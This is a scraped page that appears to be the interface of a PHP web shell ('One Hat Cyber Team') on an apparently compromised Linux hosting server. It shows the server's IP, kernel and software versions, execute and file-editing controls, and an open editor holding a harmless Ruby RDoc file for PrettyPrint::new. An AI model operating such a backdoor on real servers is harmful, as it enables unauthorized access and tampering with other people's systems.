⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
3.0.0
/
system
/
PrettyPrint
/
Edit File: new-c.ri
U:RDoc::AnyMethod[iI"new:ETI"PrettyPrint::new;TT:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"*Creates a buffer for pretty printing.;To:RDoc::Markup::BlankLine o; ; [ I"M+output+ is an output target. If it is not specified, '' is assumed. It ;TI"Gshould have a << method which accepts the first argument +obj+ of ;TI"NPrettyPrint#text, the first argument +sep+ of PrettyPrint#breakable, the ;TI"Lfirst argument +newline+ of PrettyPrint.new, and the result of a given ;TI"block for PrettyPrint.new.;T@o; ; [I"M+maxwidth+ specifies maximum line length. If it is not specified, 79 is ;TI"Eassumed. However actual outputs may overflow +maxwidth+ if long ;TI"&non-breakable texts are provided.;T@o; ; [I"L+newline+ is used for line breaks. "\n" is used if it is not specified.;T@o; ; [I"OThe block is used to generate spaces. {|width| ' ' * width} is used if it ;TI"is not given.;T: @fileI"lib/prettyprint.rb;T:0@omit_headings_from_table_of_contents_below000[ I":(output=''.dup, maxwidth=79, newline="\n", &genspace);T@"FI"PrettyPrint;TcRDoc::NormalClass00
Simpan